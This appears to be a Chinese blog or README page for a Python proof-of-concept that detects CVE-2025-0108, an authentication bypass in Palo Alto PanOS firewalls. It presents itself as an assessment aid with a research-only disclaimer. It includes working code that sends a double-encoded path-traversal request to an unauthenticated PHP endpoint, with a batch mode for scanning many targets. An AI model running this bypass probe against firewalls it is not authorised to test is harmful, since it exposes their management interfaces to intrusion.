PanOS 身份认证绕过漏洞检测工具 (CVE-2025-0108)

6 阅读3分钟

PanOS 身份认证绕过漏洞检测工具 (CVE-2025-0108)

本项目提供了一个针对 Palo Alto Networks PanOS 身份认证绕过漏洞(编号 CVE-2025-0108)的概念验证(PoC)检测脚本。该工具旨在帮助安全专业人员评估其 PanOS 设备是否受该漏洞影响,从而及时采取修复措施。

功能特性

  • 双模式检测:支持单个 URL 检测与批量 URL 文件导入检测。
  • 多协议支持:自动尝试 http://https:// 协议进行漏洞验证。
  • 精准判定:通过访问特定路径并校验响应状态码(200)及响应内容中的关键字 Zero Touch Provisioning 来判定漏洞是否存在。
  • 可视化输出:检测结果以颜色高亮显示,清晰区分存在漏洞的目标。
  • 轻量依赖:仅需 Python 标准库及 requests 库,易于部署运行。

安装指南

环境要求

  • Python 3.6 及以上版本
  • pip 包管理工具

依赖安装

  1. 克隆或下载本项目代码至本地。
  2. 安装所需 Python 依赖库:
pip install requests urllib3

系统兼容性

  • Windows / Linux / macOS 均可运行。

使用说明

基础用法

1. 检测单个 URL
python CVE-2025-0108.py -u https://your-panos-ip
2. 批量检测(从文件读取 URL 列表)
python CVE-2025-0108.py -f url.txt

其中 url.txt 每行一个目标地址(可带或不带协议前缀),示例:

192.168.1.1
10.0.0.5
https://firewall.example.com

输出示例

  • 发现漏洞时,输出红色提示:
Find:http://192.168.1.1:PanOs_CVE-2025-0108_LoginByPass!
  • 未发现漏洞或无响应时,无输出或仅有请求日志(调试时可自行添加打印)。

命令参数说明

参数说明
-u指定单个目标 URL 或 IP 地址
-f指定包含目标列表的文本文件

核心代码

以下为工具核心检测逻辑代码片段,展示了漏洞探测的关键步骤。

import requests
import urllib3
from urllib.parse import urljoin
import ssl

# 忽略 SSL 证书验证警告
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(url):
    protocols = ['http://', 'https://']
    
    for protocol in protocols:
        # 构造基础 URL
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
        # 构造漏洞利用路径(URL 编码绕过)
        target_url1 = urljoin(target_url, "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css")
        
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
        
        try:
            response = requests.get(target_url1, verify=False, headers=headers, timeout=10)
            # 漏洞存在条件:状态码 200 且响应包含特定字符串
            if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
                print(f"\033[31mFind:{url}:PanOs_CVE-2025-0108_LoginByPass!\033[0m")
                return True
        except Exception:
            pass
    return False

批量处理逻辑

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

# 主程序入口
if __name__ == "__main__":
    # ... 参数解析代码 ...
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for target in urls:
            check(target)

⚠️ 免责声明
本工具仅供网络安全研究与教育目的使用。使用者不得将其用于任何非法或未授权的系统测试。作者不对任何因使用本工具而导致的直接或间接损害承担责任。如涉及侵权,请及时联系处理。 6HFtX5dABrKlqXeO5PUv/wdnZrWaTrNA0lBjzDo+TIK5KfE6JQkoQRxkSmN+cFt7